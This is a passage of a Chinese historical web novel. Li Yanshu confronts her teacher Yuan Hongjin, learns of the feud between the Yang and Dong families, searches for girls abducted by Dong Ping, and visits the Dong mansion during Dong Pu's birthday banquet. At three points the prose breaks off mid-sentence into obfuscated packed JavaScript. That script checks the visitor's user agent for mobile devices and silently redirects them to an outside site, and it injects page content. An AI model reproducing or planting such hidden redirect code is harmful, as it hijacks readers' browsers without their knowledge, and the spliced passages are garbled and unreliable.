武明元年元家获罪,男子或下狱或流放,家眷也都下放掖庭宫为奴。然而武明六年,从延州来的无名小卒以女子之身连中三元,让所有人始料未及。元鸿今成了武朝有史以来第一个女状元,照往制应让其进翰林院,绶官职。可这也引来了群臣反对,不能以女子之身攻讦,便捏造了一个元氏余孽的罪名,顺理成章阻止元鸿今入朝为官,否则他们就要血溅朝堂,以死明志。即使元鸿今与那个“声名显赫”的元家没有任何关系。 竹荫小道徐行,白鹤行眸中漆深,“我得谢谢你,你那一番话点醒了我。” 李砚书思绪一顿,道:“什么话?” “入学九年,虚席以待。”白鹤行回忆道,“之前一直不解,老师为何一直安排我独住。” 李砚书道:“难道不是为了等我?” 白鹤行道:“是,也不是。” 说了等于没说。 元鸿今的房里有很多书,李砚书扫视一圈,暗叹不愧是先生,这书比齐夫子那里的还要多。人住在里面,不像是住在房里,倒像是住在书里。 白鹤行倒了茶,敛眉立于一侧。 李砚书看着盏中茶,觉得索然无味,她道:“学生有一事不解,还请先生解惑。” 元鸿今看着李砚书,须臾后道:“问吧。” 李砚书盯着元鸿今的眼睛,四目相对时,她道:“先生背后之人是长公主吗?” 这话问的没有任何余地。可李砚书清楚,武明六年,即便元鸿今是文曲星下凡,博古通今满腹经纶,可她一个从延州来的考生,又是如何能过五关斩六将,一路杀到金銮殿一举拿下三元榜首。如果是元家昔日光景或许还有可能,可那是武明六年,还是一个人人喊着元氏余孽的时候。闾巷之人,欲砥行立名者,非附青云之士。【1】元鸿今仅凭才华绝对到不了榜首之位,所以背后一定有人在助她。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521321|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李砚书将话几乎挑明,气氛本该凝重,可元鸿今听完却是看向白鹤行,语气中甚至有些笑意。 “我说过她很聪明。” 白鹤行颔首,显然认可。 李砚书起身作别,道:“我师父让我来元安后找你,说你能教她所不能教,达她所不能达,所以初次见面我就称你为先生。四合阵让我肯定师父所讲,但我没想到师父也有看走眼的一天。你可知长公主在做什么,与其为伍,无异于助纣为虐!此道李晗不屑,故,不能完成师父嘱托,拜元先生为师。” “你师父可是毋玄?” 李砚书回头,没有说话,意思却很明显。 元鸿今放下茶盏,温声道:“你与她年轻时候的性子倒是一样。” “当年她救我一命,说是日后要我帮她办一件事,时隔十六年,没想到她却是将你送了过来。”元鸿今看向李砚书,仿佛是在透过她看着另一个人,笑道,“她还好吗?” 李砚书转身,道:“师父一切都好。” 元鸿今点点头,道:“那你可还好?” 她问得自然,乍一听没有问题,可李砚书听着却心一沉。 “你不必慌张,你的情况,你师父当年也经历过。”元鸿今道,“那时她只比你现在大上两岁,因为出手救人,体内两股内息相撞,险些走火入魔。但你师父的师父在那时身陷囹圄,你师父为了救她的师父,一人一剑,连闯五州救人。可惜,人还是没了,你师父此后也消失在天下人眼中,从此了无踪迹。” 这还是李砚书第一次听到有关师父以前的事,情绪上涌,不禁道:“元先生既知道师父事迹,必然也清楚师父为人,她老人家虽不比高义薄云之士,却也是侠义心肠,是非分明。您为她故友,难道不知长公主做的那些事么?日杀不辜,肝人之肉,恣睢暴行,与盗跖何异?【2】先生今日与虎谋皮,当心来日反噬,反为虎所伤。” 其实李砚书作为晚辈是不该说出这番话的,但是压抑这么久的情绪一出,她就叫其冲昏了头脑,一股脑地全说了出来,等李砚书稍微回过神来,就知道什么叫为时晚矣。 元鸿今稳坐蒲团,抿了口热茶。 房里一时间安静下来。 元鸿今到底是白鹤行老师,她眼里起了波澜,出声打碎沉默。 “你先前说我虚席九年是为了等你,其实不然。”白鹤行朝元鸿今躬身,对李砚书道,“只是因为这次入元安的人是你。恰好是你,渭阳王之女。你自出生就拥有普通人穷其一生都到不了的高度,所以县主可以轻易说出侠义心肠,是非分明这种极度自由的话来。因为你身后有整个渭阳托底,所以你不怕输,你也不会输。你说日杀不辜,肝人之肉,你不忿上位者暴行,却忘了布衣黔首的无可奈何。你说先生与虎谋皮,焉知独木难支,孤掌难鸣。县主既知唐家一事,为何秘而不宣?县主隐而不发,又是在筹谋什么呢?” 李砚书呼吸微促。 元鸿今放下茶盏,道:“说你聪明,你可以凭借蛛丝马迹就猜到其中联系。说你不聪明,你既已猜出我与那位有关系,为什么还是按兵不动裹足不前?你如今在我们眼里已是如见肺肝,一目了然,可你却没有看清你的对手,你的视线还停留在最浅显的一层。浑然不觉自己已经是别人的手中刀,局中棋。” 李砚书垂眸沉默须臾,再次看向元鸿今,温声道:“那依先生所言,学生应当如何?” 元鸿今道:“既为人手中刀,那就刀锋反戈。为人局中棋,自是夺子而下,易身棋手。” 26. 杨家 下午是岑夫子的课,武信没有来。 李砚书想了想,下学后问武霜,武霜也不知道。 “信皇叔只是偶尔来听学,其余大部分时间都在藏书楼,想来今日应也在藏书楼吧。” 武霜想到李砚书的胆子,以为她想跟过去,赶紧补充道:“你可是要去找……藏书楼,我倒是可以带你过去,只不过以后事情败露,你可不能说是我带你去的啊!” 李砚书摇头,“不了,今日还有事。对了,上次你带我去吃的馄饨我又想吃了,你今日有空吗?” 武霜稍顿片刻,难以置信道:“你又想吃了!昨日不是旬假吗?等等,你昨日不是去……抚仙楼的菜不合你口味?” 李砚书言简意赅道:“菜合,人不合。” 武霜以为是杨乾故意在席上给李砚书使绊子,忙道:“怎么?他还敢给你脸子看?岂有此理!走,咱们找他去!” “不是,不是他。”李砚书拉住武霜,解释道,“边走边说吧。” 武霜提步下阶,侧首看着她,道:“你可不能瞒我啊,要是你在这里受了委屈不告诉我,回头叫别人知道了,我面子往哪搁。” 李砚书冲她一笑,道:“知道了,必不会叫你丢面子的。” 武霜一听,小脸一仰,没再说什么。 路上,李砚书跟她将前因后果简单叙述了一遍。 武霜听完后想了一会儿,才道:“所以你决心要帮她找到那位失踪的见夏姑娘?” 李砚书肯定道:“是。” 沉默须臾,武霜做出了选择。她道:“行,我既已知晓此事,便做不到袖手旁观,这个忙我帮了。” 宫外,李砚书叫了三碗馄饨。这次她的那份没加芫荽,一个馄饨下去顿时口齿生香。 武霜迫不及待道:“你快跟我说说,你打算怎么找那位失踪的姑娘。” 李砚书含笑不语,只看着武霜。 武霜被勾得心痒难耐,追问道:“你快说嘛,我想听听你有什么妙招。” 李砚书道:“等会你就知道了。” 武霜看到第三碗馄饨时,瞬间就明白了。 没过一会儿,一个乌发高束,腰间佩刀,面容冷峻的女子从转角处过来。李砚书给她介绍:“骨衣,这位便是大名鼎鼎的无双公主!” 骨衣行礼道:“见过无双公主。” 武霜随意摆手,示意她不用多礼,随即就问:“你可查到了什么?” 骨衣闻言先看向李砚书。 李砚书放下汤匙,招呼骨衣坐下,对武霜道:“殿下,天大地大吃饭最大,边吃边说啊。” 骨衣坐下,不出李砚书所料,她率先夹了一筷子芫荽放进嘴里。 李砚书一动不动地盯着骨衣,武霜顺着她的视线看去,也盯着骨衣看。 只见骨衣眉头渐渐凝重起来,李砚书憋不住了,问道:“好吃吗?” 骨衣摇头。 李砚书看着她,感同身受,笑道:“快喝口汤压压,我也吃不惯。你回去了可别跟素影说啊,下次她过来,我好让她也尝尝。” 武霜看着她,神情难以言表。 她既惊叹于李砚书竟然让一个丫鬟与自己同席而坐,也惊讶于这个丫鬟竟然敢说自己主子赐的东西不好吃。再听到李砚书还要如法炮制逗弄另一个丫鬟时,她低下头看着碗里热气腾腾的馄饨不住摇头,付之一笑。 回去时已至戌时,李砚书护着武霜从木梯上下来,原路返回,花园转角处就遇到了已经等候多时的杨乾。 杨乾迎着风,拱手道:“殿下,广明县主。” “杨乾?”武霜有些奇怪,这个时辰杨乾怎么会出现在这? 李砚书却知道他是因为何事,直接道:“杨二公子昨日不是还劝我不要多管闲事吗?” 杨乾仿佛没有听出李砚书言语中的讽意,轻笑出声,道:“县主说笑了。夫子曰‘日行一善,功满三千。’若明知不公,还视若无睹,那便是怯弱了。” 李砚书装傻道:“二公子何出此言?” 杨乾道:“要想人不知,除非己莫为。县主,你府上的丫鬟那日我可是见过的。” 武霜越听越不对劲,道:“杨乾,你想做什么?本公主警告你啊,把你那些心思都给本公主收回去!砚书若是出了什么事,本公主饶不了你!” 杨乾道:“殿下,在下虽无鲲鹏志,却也是元安七尺儿郎,也想尽微薄之力做些力所能及之事。” 武霜见他不似作假,又看向李砚书。李砚书朝她点点头,武霜才道:“口说无凭。” “殿下,诚如在下方才所说,要想人不知除非己莫为。”杨乾刚劲挺拔地立在那,周围因为风而东倒西歪的树枝残影打在他身上,像是魑魅魍魉在拖着他,可他脚下未动,眼底神色依旧坚毅。 毋玄曾经跟李砚书说过,判断一个人是否真心,不是看他说了什么,做了什么,要看他在与你对视时的眼神。一个人的眼底总是藏着很多事情,平时会伪装起来,只是当与人对视时那层伪装就会撕开一个口子。 这是李砚书与杨乾第二次正面相遇,可种种迹象表明,放荡不羁只是杨乾做出世人看的假象,至于真实的杨乾是什么样的,李砚书还不清楚。 “昨夜丑时,一份有毒的饭菜送到南监,今早便抬了一具女尸出来。”杨乾道,“董家检查的人匆匆看了一眼便回去交差了,看样子是还没有发现死的那人不是他们想下手之人。” 武霜面色不佳,低声道:“与你丫鬟说的一致。” 李砚书抬眼看了看周围,话锋一转,道:“这里恐不是说话的地儿,二公子若是真心想合作,明日下学后还是这里,李晗洗耳恭听。” 这里虽说偏僻,却也难保不会有人误入。 回去路上武霜问李砚书:“你怎么突然改口了?” “多一个朋友总比多一个敌人好。”李砚书思量须臾,道:“他既已知晓此事,并主动暴露与我们联手,我们没理由拒绝。况且我只是想为花笙找回她的朋友,至于杨家与董家之间的恩怨,与我们其实无甚关系。” 她这话其实也是在跟武霜说,董家是董家,二皇子是二皇子,她没有因为此事就对二皇子生出嫌隙。而她之所以将自己的全部计划告诉武霜,其实也是在告诉二皇子,她无心与之交恶。 武霜看着她,道:“我知晓了。” 杨乾走进院子,一抬眼就看见董原的背影立在廊下。 董原听见动静回身,对着杨乾遥遥一礼,温声道:“仲安,不请自来,还望勿怪。” “则鲜说的哪里话。”杨乾笑起来,推门点上烛火,道:“请坐。” 董原壮似不经意地看了一眼屋内,道:“还没祝贺仲安完成礼射,学院第一人,实乃少年英雄矣。” 杨乾倒上茶,自谦道:“哎,你就笑话我吧。我也就这点长处了,不比则鲜满腹诗文,将来定能考取功名,一鸣惊人。” 董原微微一笑,道:“仲安过于自谦了。” 杨乾没开腔,添了茶水自己饮着。 “听说丰州前几日上了一道折子。”董原缓缓道,“也不知是因为何事。” 杨乾眼神一顿,又接着喝茶,片刻后才道:“哦,有这回事,我竟是半点不知情。” 董原看着他,叹了口气,似是自责般,道:“那应是我听错了,丰州无事怎会在这个时间上折子呢。仲安勿怪。” 杨乾放下茶杯,笑道:“怎会。” 将人送出院,杨乾回到屋内,从枕下掏出一本兵书。页角卷折,他拿着书来到灯下,董原的话却一直在他脑中盘旋。 丰州紧挨回鹘,是关内道第一道屏障,因一道乌泥江便有了控河扼贼一说。倒不是说这条河有多险峻,而是因为回鹘人自小在草原上长大,善骑射,不善水战。骑兵与水兵在河上作战,结果可想而知。八年前杨骥被派去丰州担任丰州总督,山高路远,圣旨都不一定能传到的地方,他一呆就是八年。家书一年一封,内容却一年比一年简短。 乌泥江常年泛洪,修坝建堤,安抚百姓哪样不要银子。但只要一到银子的问题上,户部就开始哭穷,年年拖,年年哭。没有办法,杨骥只能自掏腰包。可丰州开户两千余,乡十二,光靠他一个人的俸禄怎么可能接济得过来。杨家兄弟四散,虽有心帮扶,怎奈远水解不了近渴。泥沙吞噬了百姓的双足,湮没了百姓的头颅,白骨汇成摇晃的堤坝,一冲既散。 杨乾捏着书页的手渐紧,上面的字逐渐在眼前变得模糊,一如元安的月终年朦胧。 李砚书净了手,来到白鹤行对面坐下,见她在读兵书,奇道:“你要考武状元啊?” 白鹤行道:“兵者,诡道也。朝堂之争莫如是,二者并不矛盾。” 李砚书添着茶,认可地点点头。 “对了,杨家与董家之前有过过节吗?”李砚书突然道。 白鹤行道:“过节?你指那一种?” 李砚书一听里面可能大有文章,顿时做出一副认真聆听的模样。 白鹤行的视线从字里行间移开,转到李砚书那双无论何时都明亮的眼眸里,道:“武圣年间,杨家作为先锋曾数次深入金川天堑——罗漫山。当时的兵马大元帅还是杨燮,杨乾的爷爷,也就是现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521322|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的杨柱国。负责粮草押送的治粟都尉叫郭渡,他手底下有司库两名,其中一人就是董酺。” 听到这,李砚书脸上的轻松之色被沉思所取代。 “武圣九年,据说那一战是武朝有史以来最为惨烈的一战。”白鹤行道,“罗漫山常年大雪覆盖,因为粮草供给失误,等深入腹地的先锋军反应过来时,早已弹尽粮绝。等到杨柱国带大军赶到时,五千前锋军全部冻毙于雪山之上。杨乾的父亲就是其中一员,那时杨夫人还怀着杨乾,听闻噩耗,差点一尸两命。等到刑部问责之时,这事却审得异常顺利,郭渡作为治粟都尉是第一个下狱的。在他下狱第二日,他就将自己的罪行全部吐了出来。先帝震怒,最终仅以郭渡之死安抚杨家亡故之人。次年杨柱国以病体为由,卸下了兵马大元帅这个担子,抱着尚在襁褓中的杨乾前往晋州老家养病。” 李砚书神色不变,语气却冷了下来,她道:“郭酺呢?他作为粮草司库,难道这事跟他一点干系都没有吗?” 白鹤行放下书,起身推开窗,一股冷风吹进来,吹熄了临窗的一支蜡烛。白鹤行的脸藏在背窗的阴影里,看向烛光下的李砚书。 “当然与他有干系,”白鹤行阴沉地道,“可当时先帝病危,皇子夺位,朝局动荡,人心惶惶,谁又有心思去查呢?他们都想着自己的主子能坐上那个位置,都想着有朝一日改换龙庭,自己摇身一变成了天子近臣,元安新贵。至于一个踏脚石是否清白,谁会在乎?” 白鹤行的这番话让李砚书觉得振聋发聩。她突然意识到,其实在白鹤行心里,一直都是恨意在支撑着她前行。与子偕行,风雨同舟。元鸿今为她取字子行,意在同舟。可是白鹤行没有意识到,或许她知道,只是她不愿意去想,因为那样恨意就不再纯粹。而白鹤行需要这份纯粹的恨意,就如同人身体里的脊椎,支撑着躯体行动,没有它,人就彻底垮了。 另一位司库姓白,当时随郭渡一同被定罪斩首。而董酺因为搭上了当时的三皇子,也就是现在的武明帝,从而步步高升,一直到今日的京兆府尹。 白鹤行来到一个箱子前,从里面拿出一张图,摊开在桌上。 李砚书低头看去,发现竟是一张武朝全州图。图样绘制简洁,但是各大州都有,就连金川那边的州县都有标注。 白鹤行指着图上元安的地方,平声道:“杨家如今只有杨乾与杨柱国在元安,世家之中,如今的杨家排最末。” 她又指向左下方的利州,道:“杨家大郎杨牧,虽为利州刺史,但上面还有一个州牧张聒,领兵钱粮之事皆要经过张聒之手,杨刺史实乃虚职,无任何实权。” 接着,白鹤行的手指继续往下,一直到边陲州线姚州才停下。 “杨家二郎杨志,虽为姚州州牧。但姚州不似利州,姚州因为地势原因,常年拖欠税粮。又因为常年征战,百姓大都迁往会川,因此姚州与昆州的交界处也成了朝廷三不管的地带。” 李砚书盯着她,道:“三不管?” 白鹤行微微颔首,道:“经济停滞,治安混乱,朝廷兵力无法管辖。这些以后我再与你细说。” 说着,她的指尖向上划过,一直到最上面的丰州。 “前几日杨骥递了道折子上去,陛下至今都没有批复。”白鹤行道,“三年前,陛下免了丰州四成税银,杨骥才勉强交上税银。两年前陛下免了丰州两成税银,结果杨骥说洪水泛滥,百姓颗粒无收,食不果腹,陛下看在杨家的份上,又降到了四成。今年杨骥又上报了灾情,同时里面还有向户部申请赈灾的银子。” 丰州的事李砚书听师父说过,那里好像确实连年洪涝。李砚书问:“我记得武圣年间朝廷就出钱修建堤坝了吧,怎么还会连年洪涝?” 白鹤行笑她天真,道:“我且问你,朝廷年年征战,军饷从何而来?” 李砚书道:“各州税银。” 白鹤行道:“我再问你,各州税银又是从何而来?” 李砚书想了想,道:“百姓?” “取之于民却不用之于民,掠之于民却不慧之于民。”白鹤行道,“军马铁蹄踩过的每一寸土地,都是干涸的。干涸的土地种不出饱满的麦苗,贫瘠的百姓交不出富余的粮食。上位者开疆拓土,权贵者贪图牟利,他们手上有丰富的水源,却吝啬分出一丁点来浇灌即将枯死的平民。丰州,意为丰收富饶之地,讽刺的是,这块土地上每天都有人活生生饿死。” 狂风骤起,地图书页被吹得哗哗作响,李砚书猛地起身将窗户关上。 屋内一下安静下来,李砚书站在原地呼吸沉重,她看向白鹤行,低声道:“夜深了。” 27. 找人 “比起户部的银子,”白鹤行来到案前收起图纸,慢条斯理地道,“杨骥现在恐怕更缺盐铁。” 李砚书缓缓皱眉,道:“回鹘真的屯兵城下了?” 白鹤行动作轻缓地将图放回箱里,无甚在意地道:“谁知道呢。” 屋内因为熄了一盏灯,光线自然也暗了下来,明灭交替间,李砚书来到白鹤行身前,盯着人道:“你知道什么是不是?” 白鹤行抬眼看向她,恍若什么都不知情,道:“知道什么?” 李砚书看着她,试图从她的眼睛里看出些什么。 “没什么。”李砚书没再追问,“不早了,就寝吧。” 既然白鹤行不愿意说,李砚书就不问了。回鹘事大,消息如果属实,早晚会传到她耳朵里。 更阑人静,屋外狂风大作,李砚书侧过身,在黑暗里缓缓睁开眼睛。 师父教她武功,传授她心法,让她得以在暗潮汹涌的元安下自保,李砚书曾经以为人心非黑即白,非此即彼,可白鹤行不是,她承担了父辈带给她的屈辱和苦难,匍匐于仇恨之下。她是矛盾的,她要报仇,同时她还要担负起元鸿今对她的期望。孟子说“人性本善”,荀子说“人性本恶”,白鹤行在恶与善之间拨冗求生,最早丢掉的就是本心。 矛盾的是,白鹤行又在苦苦守着那点本心。 李砚书想起她在说起丰州百姓时的眼神,或许连她自己都没有注意到,即使她努力扼制,怒意还是从她眼睛里迸溅出来。她将真实的自己隐藏,伪装成无欲无求的随意模样,让所有人都觉得她已经被罪奴二字磨平了棱角。 其实不然,白鹤行只是将自己藏起来了。李砚书在这个晚上想了很多,后半夜几时睡着的都不知道。 次日下学后,李砚书同武霜一道走在花园小道上。 武霜还不知情,到昨日约定的位置时停住。 等了一会后,李砚书低声道:“他不会来了。” 武霜看向李砚书,气道:“啊?亏他昨日还说得冠冕堂皇……言而无信!” 李砚书只道:“走吧。” 武霜骂过一声后气也消了,旋即提步往宫外走去。 巷子里。 这次换做骨衣等她们,见到人来,骨衣便叫老板上馄饨。 “小姐,殿下。”骨衣依次行礼,“这两日城内的大小破庙我们都问了一遍,其中有两个乞丐说,亲眼见到有姑娘被人强行带上马车,但是那些姑娘最后被带到哪里,他们就不知道了。” 李砚书搅着碗里的馄饨,道:“董府呢?” “董府的丫鬟说那些姑娘都是一夜之间消失,”骨衣道,“在消失之前都没有任何征兆,消失的时间也没有规律可言。” 武霜听着没胃口再吃馄饨,皱眉道:“那些姑娘的身份可有确认的?” 李砚书猜到她的想法,劝道:“此事还不能惊动官府。” “为何?”武霜不乐意了,道:“只要确定被害姑娘身份,增派人手去找,元安就这么大,不日定能找着。” “这样就打草惊蛇了。”李砚书同她解释,“我们如今行事本就是要趁其不意,一但惊动官府,董家收到消息必定会采取行动。到那时,那些姑娘们才真是永无解脱之日。” “这样啊。” 武霜抿了抿唇,又觉得有些窝囊。她第一次遇着这种事,只想着怎么用最快的速度将人救出,却忘了这里面牵扯的人何其复杂。 李砚书看向骨衣,示意她说话。 “那些姑娘当中,目前只有余见夏一人确认身份。”说到这,骨衣想起什么,从袖口拿出张纸条,“今早不知是谁将这个从王府后门的门缝里塞进来,打扫的丫鬟捡到便交给了我。” 李砚书打开纸条,上面写着一个名字、籍贯和失踪日期。 武霜凑过去看,小声念着,“李思,洛州建城人,失踪于武明十五年冬。” 她们对视一眼,同时道:“杨乾?” 李砚书将纸条还给骨衣,思索片刻后,道:“查。不用去洛州,直接在元安查,这个叫李思的姑娘在元安一定还有亲人。” “是。”骨衣收好纸条,低头看了一眼冒着热气的馄饨,问道,“小姐,这碗馄饨我能带回去给素影吗?” 李砚书道:“可以呀。你先吃吧,再给素影叫一碗就好了。” “我不饿。”骨衣端着那碗馄饨起身,道,“等会馄饨凉了就不好吃了。” 李砚书随她,叮嘱道:“路上小心,别摔了。” 等骨衣走出巷子,武霜才后知后觉地问出自己开始就想问的问题。 “为何不用去洛州查?”武霜道,“那姑娘不是洛州人吗?” 李砚书道:“猜测。一来那张纸条极有可能是杨乾派人送来的,而杨乾一直在元安,只有前两个月去晋州看望杨老太太,根本没有时间去洛州查人,所以他一定是在元安知道的此事。二来,纸条上说李思失踪于去年冬天,时间尚短便于寻查。且那些姑娘都为董平所害,董平即使色胆包天,也没那个本事去千里之远的洛州绑人,所以人一定是在元安失踪。” 武霜若有所思。 李砚书接道:“而且那日在抚仙楼,杨乾的反应过于平静。我起先以为他是因为心思沉,喜怒不形于色。如今看来,他是跟我揣着明白装糊涂呢。” 杨乾或许是假糊涂,武霜却是真糊涂,她不确定地道:“照你这么说,杨乾早就知道董平所做之事?” 李砚书抿了口热汤,点头。 武霜表情一变,道:“砚书,我们是不是被他算计了?他平日里与董原互称表字,感情颇深,怎会突然倒戈来帮我们对付董平!这一定是他们的计谋,就是为了迷惑我们,那张纸条上写的应该也不是真的。” 李砚书安抚道:“稍安勿躁。再说,杨乾未必与董家真心交好。” 武霜表情生动,显然坚信自己说的话,压低声音道:“怎么说?” “因为他今日没来。”李砚书答道。 武霜犹疑地看着她。 李砚书接道:“你还记得三日前,礼射时你说回鹘意图举兵之事吗?” 武霜点头。 李砚书循循诱道:“丰州州牧是谁你知道吗?” 武霜想了一下,摇头。 “杨骥。”李砚书道,“丰州与回鹘仅一河之隔,如果回鹘举兵来犯,丰州危矣。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521323|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>武霜还是不太理解,道:“可这跟杨乾今日来不来有什么干系?” 李砚书知她不懂这里面的门道,尽量简单道:“董家掌控盐铁,户部尚书龚抱文与董酺是表亲,其中关系就不用我多说了吧。一旦开战,这两人就如同是捏住了杨骥的命脉。如果此时杨乾与董家交恶,无异是断杨骥后路。所以杨乾今日才没有来,可这也恰恰说明,杨家与董家绝不是我们看到的那般交好。” 武霜恍然大悟,连带着看向李砚书的眼神都变得崇拜起来,激动道:“所以杨骥跟董家不是一伙的!杨乾是好人!” 好人? 李砚书不敢说,他们都是被权利阴谋圈住的人,所做的也不过是自保而已。 李砚书看着武霜简单的样子,想起与她同龄的白鹤行,一时不知这样懵懂无知的武霜,对她来说,是幸还是忧。 “是,好人。”李砚书顺着她,“快吃吧,等会凉了。” 说罢舀起一个馄饨放进口里,埋头吃起来。 第二日骨衣带来李思亲人的消息。 骨衣道:“李思是家中独女,父亲李融是武明十一年的举人。据李融所说,李思是在去年冬至那日出门买糖,就再也没回来。李融去报官,官府象征性地找了一次,就没了下文。李母在李思失踪后,日日以泪洗面,如今眼睛已经看不清东西了。李融后面也再去报过官,可那些人却……” 武霜眉间一紧,“却怎么?” 骨衣道:“那些人竟以公务繁忙每每推诿,甚至还动手将李融驱逐出府衙。” 李融是读书人,还是一个举人,却被衙役当众动手驱逐,这在读书人眼中简直是奇耻大辱。 “放肆!”武霜豁然起身,怒道,“是哪个府衙?带我去,我非得要他们好看不可!” 李砚书拉住武霜,问骨衣:“李融怎么说也是举人,衙役也这般不讲情面么?” 举人已是秋闱正榜,只要来年春闱便有可能成为贡士,即便不中,那也是“官老爷”预备役,这些人怎敢如此糟践。 “因为李融不在世家之列。”骨衣答道。 此话一出,武霜与李砚书瞬间就明白了。 因为李融不在世家之列,所以即使他是举人之身,在他们眼中也是一个永远不可能高中的寒门学子。 李砚书想到另一种可能,沉声道:“如果只是如此,衙役不敢如此放肆。” 武霜这次反应得很快,她快速道:“董家!” “一定还有人。”李砚书扯下身上的令牌,对骨衣道:“去找宋承,元安城内每一座破庙都不要遗漏。我们只有三日时间,有消息你直接带人去找,不必来问我。” 骨衣双手接过令牌,领命退下。 武霜不解,皱眉问:“为何只剩三日?” “三日后是董酺五十寿辰。”李砚书道,“那日是我们进董家的绝佳时机,届时到场的都是达官显贵,如果能在那日找出证据,董平将无人能保。” 武霜沉默半晌,道:“可若是那日还是没有找到那些姑娘呢?” 李砚书将垂到身前的发丝拨到身后,似是玩笑地道:“那就找到董平打一顿,打到他说出那些姑娘下落为止。” 28. 腥味 三日后,京兆府尹董酺寿筵。 天还没亮,董府的丫鬟小厮就开始忙碌起来了。董府上下热闹非凡,就连门口的小厮身上都换上了一件红色坎肩。 时辰尚早,董酺在密室里欣赏着自己这些年积累下来的金银珠宝。 数十个大箱子,整齐有序地垒在一起,边上敞开的几个箱子里全是黄灿灿的金饼和排列整齐的银锭,地上是一堆由金银珠宝堆砌而成的小山堆。董酺拿起一块银锭放进嘴里咬了一下,想着这次寿宴过后,各部官员送的礼又可以将他的宝库充盈,就笑得眼都没了。 董酺躺在一堆金银珠宝上面,随手抓了几串珍珠项链放在胸前,闭上眼惬意地哼起了小调。 “老爷!老爷!” 董酺隐约听到有人叫他,凝神一听果然是有人唤他,无奈,他只能暂时放下手里的宝贝。 门一开,管家就着急道:“老爷,无双公主和广明县主到了!” “无双公主?” 董酺方才那点喜悦被冲得干净,不敢耽搁,大步流星往前厅赶,问道:“则鲜呢?” 管家把门带上,跟上董酺,道:“二公子已经去迎了。” 董原也被武霜和李砚书的突然到来打了个措手不及,他带着人迎上去,跪下行礼。 “参见无双公主!” 武霜从厌翟上下来,睨着董府一干人等,缓道:“免礼。” “谢公主!” 董酺匆忙赶来,行礼道:“参加无双公主,微臣来迟,还请殿下恕罪。” 武霜道:“府尹严重了,今日原是本宫不请自来。” 董酺忙恭维道:“殿下能脚踏贱地,是我董府之辛。殿下光临,寒舍蓬荜生辉!” 武霜手一点,身后的宫女捧着寿礼上前。 董酺赶紧拱手行礼,道:“谢殿下!” 进去时,董原对着李砚书点头示礼。董敏怯生生地跟在董原身后,头也不敢抬。平日里董原肯定不会让三妹出来,但今日来的是公主,董家姑娘不陪着说不过去。 董夫人早些年故去,董酺虽然小妾众多,但不知是不是董酺上了年纪,这么些年竟是再无人诞下子嗣。董原领着人进了正厅,不好再陪,只能嘱咐董敏几句,行礼退下。 武霜坐了一会,道:“时辰尚早,董府我还是头回来,董小姐可要带我们好好逛逛才是。” 董敏手指紧紧捏着帕子,闻言心凉了半截,但也只能硬着头皮回道:“臣,臣女遵命。” 李砚书觉得这姑娘过于紧张了,好像她们是什么吃人的猛兽,看一眼都会掉块肉似的。 “别紧张,”李砚书温和道,“我跟殿下看起来很凶吗?你从方才起就一直没敢抬头看我们一眼。” 董敏呼吸都停了半拍,倏地跪下,头垂得更低了,连忙道:“臣女不敢,殿下与县主身份尊贵,臣女,臣女卑微之身,岂敢亵渎贵人。” 武霜皱了皱眉。 李砚书叹了口气,怎么这兄妹性格相差这般大?大哥嚣张跋扈,肆意妄为。二哥心思缜密,张弛有度。怎么到了妹妹这,反而畏首畏尾了? “哪有你说的这么严重,”李砚书将人扶起,看着她的眼睛,揶揄道,“要是看一眼都是亵渎,那我们干脆不要出来见人好了。” 武霜掩着嘴笑了一声。 董敏听着她们讲话,便鼓起勇气抬眼看向她们,下一秒又觉得公主与县主真好看。 武霜道:“董小姐不必拘谨。” 董敏低眉应道:“是。” 话虽如此,可是董敏还是怕。一路上纠结得眉头紧蹙,觉得该说些什么,但又不知该说什么,生怕自己不小心说错话给父亲和哥哥惹来祸端。 李砚书环顾一周,突然道:“董小姐,怎么今日不见大公子出来?” 武霜闻言看向李砚书。 董敏心一紧,赶忙道:“大哥,大哥今日身子不适,怕出来冲撞了各位贵人,故而未曾出来相迎。” 今日是阴天,在前院时还不觉,这一到后院开阔地,风就大了起来。董敏本来就紧张,风一吹,倒吸了口风进喉管里当即就咳了起来。 “殿下,”董敏捂着嘴,咳得面色涨红,断续道,“殿下恕罪……殿下,恕罪……” 李砚书看不下去了,帮忙拍着她的背,安抚道:“没人怪你,这么紧张作甚?这里风大,我们去假山后避避。” 无双公主亲临董府,消息一出,元安原本那些还在犹豫要不要去赴宴的大臣们携带家眷闻风而至。一时间董府户限为穿,董酺与董原忙地脚不沾地。等到董原收到董敏带着武霜和李砚书去后院的消息时,再想带人去阻止也来不及了。 